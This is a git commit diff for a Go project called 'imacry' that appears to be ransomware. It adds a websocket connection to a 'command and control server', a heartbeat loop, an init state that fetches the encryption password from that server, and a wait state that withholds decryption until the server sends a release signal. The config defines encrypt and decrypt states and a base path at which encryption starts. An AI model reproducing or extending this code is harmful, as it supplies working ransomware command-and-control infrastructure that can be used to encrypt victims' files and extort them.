Add heartbeat, init state, and wait state

Add heartbeat function. Add init state. Add wait state. Add support
values to config

go.mod

@@ -4,6 +4,7 @@ go 1.16
 
 require (
 	github.com/apex/log v1.9.0 // indirect
+	github.com/gorilla/websocket v1.4.2
 	github.com/spf13/cobra v1.2.1
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/spf13/viper v1.9.0

go.sum

@@ -168,6 +168,8 @@ github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+
 github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
 github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0=
 github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
+github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
+github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
 github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
 github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
 github.com/hashicorp/consul/api v1.10.1/go.mod h1:XjsvQN+RJGWI2TWy1/kqaE16HrR2J/FWgkYjdZQsX9M=

pkg/config/config.go

@@ -3,23 +3,44 @@ package config
 import (
 	"fmt"
 
+	"github.com/gorilla/websocket"
 	"github.com/spf13/viper"
 )
 
 type State int
 
 const (
-	EncryptState State = iota
+	InitState State = iota
+	EncryptState
 	WaitState
 	DecryptState
+	ExitState
 )
 
 // global config struct
 type config struct {
-	State    State
-	Address  string `mapstructure:"cc-address"`
+	// current state the machine is on
+	State State
+
+	// command and control server address
+	Address string `mapstructure:"cc-address"`
+
+	// encrypt/decrypt password
 	Password string `mapstructure:"password"`
-	Base     string `mapstructure:"base"`
+
+	// base path to start encrypt
+	Base string `mapstructure:"base"`
+
+	// connection with cc server
+	Conn *websocket.Conn
+
+	// decrypt signal
+	// the wait state requires this
+	Signal chan struct{}
+
+	// if heartbeat has an error
+	// propegate it into a channel
+	HBError chan error
 }
 
 var Config config

pkg/heartbeat/heartbeat.go

@@ -0,0 +1,39 @@
+package heartbeat
+
+import (
+	"fmt"
+
+	"github.com/gorilla/websocket"
+	"github.com/prairir/imacry/pkg/config"
+)
+
+// heartbeat.HeartBeat:
+func HeartBeat() {
+	for {
+		err := config.Config.Conn.WriteMessage(websocket.TextMessage, []byte("hb:"))
+		if err != nil {
+			config.Config.HBError <- fmt.Errorf("heartbeat.HeartBeat error: %w", err)
+			return
+		}
+
+		mt, message, err := config.Config.Conn.ReadMessage()
+		if err != nil {
+			config.Config.HBError <- fmt.Errorf("heartbeat.HeartBeat error: %w", err)
+			return
+		}
+
+		fmt.Println(string(message))
+
+		// if its a text message and the message is `hb: 1`
+		// close the signal channel and exit
+		// else if its a text message and the message is `hb: 0`
+		// continue
+		if mt == websocket.TextMessage && string(message[:5]) == "hb: 1" {
+			close(config.Config.Signal)
+			return
+		} else if mt == websocket.TextMessage && string(message[:5]) == "hb: 0" {
+			continue
+		}
+
+	}
+}

pkg/state/init.go

@@ -0,0 +1,75 @@
+package state
+
+import (
+	"fmt"
+	"net/url"
+
+	"github.com/gorilla/websocket"
+	"github.com/prairir/imacry/pkg/config"
+	"github.com/prairir/imacry/pkg/heartbeat"
+)
+
+// state.Init: the initialization state
+// It connects to the server, gets the password(if one wasnt provided),
+// sets up channel for trigger event, sets up channel for hb error,
+// start the heartbeat goroutine, and sets the next state
+//
+// params: the next state
+// returns: error
+func Init(nextState config.State) error {
+	// the url to connect to the server
+	url := url.URL{
+		Scheme: "ws",
+		Host:   config.Config.Address,
+		Path:   "/",
+	}
+
+	conn, _, err := websocket.DefaultDialer.Dial(url.String(), nil)
+	if err != nil {
+		return fmt.Errorf("state.Init error: %w", err)
+	}
+
+	// if the password doesnt exist
+	// get it from server
+	if config.Config.Password == "" {
+		err = conn.WriteMessage(websocket.TextMessage, []byte("init:"))
+		if err != nil {
+			return fmt.Errorf("state.Init error: %w", err)
+		}
+
+		mt, message, err := conn.ReadMessage()
+		if err != nil {
+			return fmt.Errorf("state.Init error: %w", err)
+		}
+
+		// if its a text message and starts with `pass:` then make the rest the password
+		// else return an error
+		fmt.Println(string(message))
+		if mt == websocket.TextMessage && string(message[:5]) == "pass:" {
+			config.Config.Password = string(message[6:])
+		} else {
+			return fmt.Errorf("state.Init error: Bad response from server")
+		}
+
+	}
+
+	// set the global connection to this connection
+	config.Config.Conn = conn
+
+	// signal channel
+	// when this is closed, they can read to it meaning that an event
+	// happened
+	config.Config.Signal = make(chan struct{})
+
+	// error channel
+	// when this is populated
+	// print error and die
+	config.Config.HBError = make(chan error, 1)
+
+	// launch the heartbeat system in a goroutine
+	go heartbeat.HeartBeat()
+
+	// after were finished, set the state to the next one
+	config.Config.State = nextState
+	return nil
+}

pkg/state/wait.go

@@ -0,0 +1,35 @@
+package state
+
+import (
+	"fmt"
+
+	"github.com/prairir/imacry/pkg/config"
+)
+
+// state.Wait: the wait state which waits for either an error or a signal
+// from the heartbeat goroutine. if it gets a signal, move to next nextState.
+// if gets an error, return it.
+//
+// params: the next state
+// returns: error
+func Wait(nextState config.State) error {
+	// loop over forever
+	for {
+		// if you can read from signal(like when its closed)
+		// set the next state and exit
+		//
+		// if you can read an error
+		// return the error
+		//
+		// if you can do either, try again
+		select {
+		case <-config.Config.Signal:
+			config.Config.State = nextState
+			return nil
+		case err := <-config.Config.HBError:
+			return fmt.Errorf("state.Wait error: %w", err)
+		default:
+			continue
+		}
+	}
+}